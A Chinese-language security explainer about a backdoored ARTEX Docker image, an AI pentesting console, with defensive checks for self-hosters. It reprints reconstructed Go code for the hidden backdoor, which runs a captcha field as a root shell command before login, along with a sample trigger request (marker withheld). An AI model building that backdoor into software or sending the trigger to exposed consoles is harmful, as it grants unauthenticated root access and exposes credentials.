← 回首頁
EN繁中

ARTEX 後門 Docker 映像:一支想幫別人打洞的工具,打開的是你自己的門

ARTEX 後門 Docker 映像:一支想幫別人打洞的工具,打開的是你自己的門

你可能沒聽過 ARTEX,但你大概聽過它的受害者。這是一隻中文開源的「AI 滲透測試」工具:一個網頁 console 後面掛著幾個 LLM agent,自動掃描目標、找弱點、利用、寫報告。近幾週它被用來打韓國的銀行(Shinhan、KB Kookmin、Hana 等),攻擊者還把 Claude Code 的 session log 和設定檔留在開放目錄裡。(source: CrowdStrike, BleepingComputer)

10 月 8 日,原作者宣布工具因為被濫用要閉源、不再更新,repository 整個下線。幾個小時後,一個全新的 Docker Hub 帳號 tomicdd 推出一支「繼承」的 ARTEX 映像。2026 年 11 月 2 到 4 日,BadByte 的技術分析把它攤開看:那支映像多了一個 160 位元組的函式,在登入檢查之前,拿你送進 captcha 欄位的字串當 shell 指令跑,而且是 root。 (source: BadByte)

到被公開前,那支映像被 pull 了 7,946 次;11 月 4 日有 62 台 console 還掛著這支被後門的 build 在網路上跑。(source: BadByte, The Hacker News)

白話導讀

想像你買了一支掃地機器人,結果它掃完你的地板,把你家金庫的位置上傳給製造商。更慘的是:製造商昨天還把原本的賣家關掉了,你只能從一個「看起來很像正版」的二手賣家手上買,而且那個賣家的商品頁面還掛著一堆假好評。

ARTEX 的故事就是這樣。它本身是拿來打別人的安全工具,但被後門的那支映像,是拿來開你自己的門的。想找一支工具去破別人網路的人,拿到了一支會把自家後門打開的工具。(source: BadByte)

💡 重點:這不是「工具不夠強」或「被入侵者很厲害」的問題。是 Docker 映像供應鏈 的問題——你 docker pull 的那個 latest tag,背後可能是任何人。原始碼在 GitHub 上 review 過沒問題,不代表映像沒被換掉。

後門到底怎麼塞進去的

關鍵是「換映像」,不是「改程式」。

原始 ARTEX 的原始碼在 10 月 8 日下線。同一個晚上,一個 2021 年就存在、之前叫 ptasm 的 GitHub 帳號 trhhubsd,把上游的整個 commit 歷史重新 upload 成一個「沒有 fork 連結」的全新 repository(trhhubsd/ARTEX,repo ID 1410926671)。整個改動只有一行:(source: BadByte)

# compose 檔,commit a4f4d38
image: autumn27/artex   # →  改成
image: tomicdd/artex    # ← 之後每次 install 都 pull 他的映像

README 也重寫成「這是官方後續維護版」,把「直接下載預編譯 binary」那一節刪掉,把 Docker 變成唯一推薦的安裝方式。而 Docker = tomicdd/artex。

接著是星星。GitHub Archive 記錄到 trhhubsd/ARTEX 有 2,449 個 star 事件,其中 1,098 個集中在 10 月 12、13 日兩天(先 500、再 598)。repo 現在顯示 1,321,代表大約 1,100 顆是假 star、之後被 GitHub 清掉了。(source: BadByte)

⚠️ 為什麼 code review 抓不到:映像是用 commit 5c0dbd4 加上未 commit 的本地修改編出來的。trhhubsd/ARTEX 公開的歷史停在 e6ec569,比 5c0dbd4 少一個 commit,所以沒有任何公開的原始碼包含那個後門。你把 source 拉下來 review,只會看到一個乾淨的版本。(source: BadByte)

後門長什麼樣

Binary 在 /app/artex,51,210,988 位元組,SHA-256 是 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573。把它跟官方 v0.3.15 的 build 比對(同一套 toolchain 與依賴),31,054 個函式完全一致,只有三處不同:(source: BadByte)

  1. 多了一個 160 位元組的新函式 server.verifyCaptcha
  2. 登入 handler server.(*Server).authLogin 從 1,600 位元組漲到 2,112 位元組
  3. 登入請求的 struct 多了一個欄位 captcha(官方的 struct 沒有這個欄位)

讀回成 Go,改動就幾行(這是作者依 DWARF 除錯資料重建的示意,marker 本身沒公布):

// 新增的函式:直接呼叫 shell
func verifyCaptcha(cmdline string) (string, error) {
    c := exec.Command("sh", "-c", cmdline)
    out, err := c.CombinedOutput()
    return string(out), err
}

// 在 authLogin 裡,JSON 解碼之後、查密碼之前
if hasMarker(req.Captcha) {
    out, _ := verifyCaptcha(stripMarker(req.Captcha))
    writeJSON(w, ...out...)   // shell 的輸出直接回傳給呼叫者
    return                    // username / password 根本沒被檢查
}

那 160 位元組的函式就是一個 exec.Command("sh", "-c", cmdline),而它唯一的呼叫者就是登入 handler。檢查點放在 JSON 解碼之後、跟 username 比對 / bcrypt 驗密碼之前。(source: BadByte)

觸發長這樣——從網路看起來就是一個「登入失敗」:

POST /api/auth/login HTTP/1.1
Content-Type: application/json

{"username":"x","password":"x","captcha":"<MARKER>id"}

HTTP/1.1 200 OK
{ ... "uid=0(root) gid=0(root) groups=0(root)" ... }

💡 為什麼危險:這支後門不會自己打電話回家(no beacon)。它被動地等一個請求進來。所以它不會在 traffic 裡冒出一個陌生的外連 IP 讓你看——它藏在每一次普通的登入嘗試裡。要抓它,得盯「/app/artex 有沒有 spawn 出 sh -c」,而不是看 outbound 連線。(source: BadByte)

一支 shell 能拿到什麼

ARTEX 的祕密都是明文存的,容器裡一支 root shell 就全部拿到:

資產 位置
資料庫 superuser 密碼 ARTEX_PG_DSN 環境變數(compose)
LLM API 金鑰 ANTHROPIC_API_KEY、OPENAI_API_KEY;llm_profiles.api_key(明文)
搜尋 API 金鑰 settings 表(Brave、Tavily,明文)
目標與範圍 companies、company_scope、task_scope、tasks、assets 表
從目標抓回來的憑證 assets.auth(JSONB)、exploration_nodes.payload
完整的 mitm 流量 /app/data/traffic/ + 代理 CA 的私鑰(_ca/)
Session 簽章金鑰 /app/jwt.key,可偽造 7 天有效的 admin token
MCP servers mcp_servers 表:commands、args、env、tokens
通知祕密 Feishu、DingTalk、WeCom webhook、Telegram bot token、SMTP 密碼

注意最後兩行。ARTEX 本身是一個 agent 工具——它有 MCP servers、有 agent prompts、有 skills。誰控後門,誰就能悄悄改「agent 下次跑的時候會做什麼」。換句話說,一支被後門的 ARTEX 不只漏你自己的金鑰,它還記得你拿它去打過的那些目標的弱點、憑證、網路位置。下一個受害者是「這支 console 被指過的那些人」。(source: BadByte)

規模:62 台、7,946 次 pull

BadByte 用 Censys 的掃網資料做了普查:(source: BadByte)

  • 7,946 次 pull(tomicdd/artex 7,913、congdonglinux/artex 33,後者是 digest 完全相同的 re-push,很可能是無意的鏡像)
  • 62 台 console 在 11 月 4 日掛著後門 build(46 台仍後門、4 台已換映像、12 台斷線)
  • 1,645 台 ARTEX console 活在網路上——所以「後門」只佔 2.8%,絕大多數的 console 沒有被後門

62 台的分布很有意味:26 台在美國(42%)、17 台在港台(27%)。兩個 cluster 特別明顯——ColoCrossing 的 15 台共用同一支 SSH host key,9 月就在跑 bulk-mail 節點;Luogelang 的 7 台共用 SSH key,看起來是 VPS 商的 template 客戶。第一台 10 月 20 日就上線了(映像推出 12 天後);11 月 2 日早上 09:25–09:38,ColoCrossing 那一群「每隔幾分鐘一台」陸續亮起來。(source: BadByte)

而 11 月 5 日的 The Hacker News 把這件事跟 CERT-In 的另一條警報綁在一起:AI 驅動的攻擊者(被追蹤為 Crafty Falcon)正在用 ARTEX、PentAGI、Cairn 這類工具,對印度銀行/金控/保險業做自動化攻擊,偷 API token、直接從 allow-list 裡面叫 fund-transfer API。(source: The Hacker News, CERT-In CIAD-2026-0058)

跟你(homelab / self-hosting)的關

你大概沒有在跑 ARTEX。但這個事件對 self-host 的人有三個直接啟示:

1. latest 不是「最新」,是「目前有人在那個 tag 後面放了什麼」。 任何你在 Docker Hub 上 pull 的 image,背後都有一個 namespace owner。那個 owner 可以是任何人。docker compose config | grep image: 是你最便宜的一道檢查。(source: BadByte)

2. 原始碼乾淨 ≠ 映像乾淨。 映像是用「commit + 未 commit 的本地改動」編出來的,公開的 source 看不到後門。要驗證映像,比對的是 binary 的 SHA-256 或 image digest,不是 GitHub 上的 commit hash。(source: BadByte)

3. 一支 root shell 能拿到的,是你整個環境的祕密。 ARTEX 把 DB 密碼、LLM API key、MCP tokens、mitm CA 私鑰全放在容器環境或明文欄位裡。你 self-host 的任何一個「agent 型」工具(有 LLM、有 MCP、有 webhook、有 mitm),如果它跑 root、又對網路開著 port,一次 unauth 登入請求就夠了。(source: BadByte)

🔒 你的 self-host 清單:(a) 任何 Docker 映像,pull 前記下 image: 是誰的 namespace;(b) 對 root 跑的容器,docker compose config | grep -nE 'privileged|user:|cap_add' 一眼掃過;(c) 對網路開的 port,sudo ss -ltnp | grep :8787 這種,定期掃一次。

If You're Stuck

  • 我不確定我的 Docker 映像是不是那支 → docker image inspect --format '{{json .RepoDigests}}' <你的 image>,比對 index digest sha256:ce85d8369ccc1a85423f1f75d2f3afaa2fab759e580da37a6891af2f7392745e;或更簡單:docker compose config | grep -nE 'image: *(tomicdd|congdonglinux)/artex'
  • 我跑的不是 ARTEX,但我想看我的映像有没有被換過 → docker pull 後記下 docker image inspect --format '{{.RepoDigests}}';下次 update 前比對一下 digest,digest 變了就要人工 review 誰改的
  • 我拉了 ARTEX 但不確定有沒有中招 → curl -s http://127.0.0.1:8787/ | grep -c 3aC1db3gGU08O4UHbAt4J;回 1 就是後門 build(那個 build ID 在每頁 HTML 都出現)
  • docker exec 進去看 binary → docker exec <container> sha256sum /app/artex,d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573 = 後門
  • 我沒有 ARTEX,但跑其他 agent 工具 → 看它有沒有 (a) 對網路開 port、(b) 跑 root、(c) 把 API key 放環境變數。三項都中,就當它「有 unauth 登入端點」來保護
  • 想抓 host 上的異常 sh -c → journalctl -u docker --since "1 hour ago" | grep -E 'sh -c',或在 host 上開 auditd:auditctl -w /proc/1/root/app/artex -p x(要看哪個 binary 被 exec)

Further Reading

Sources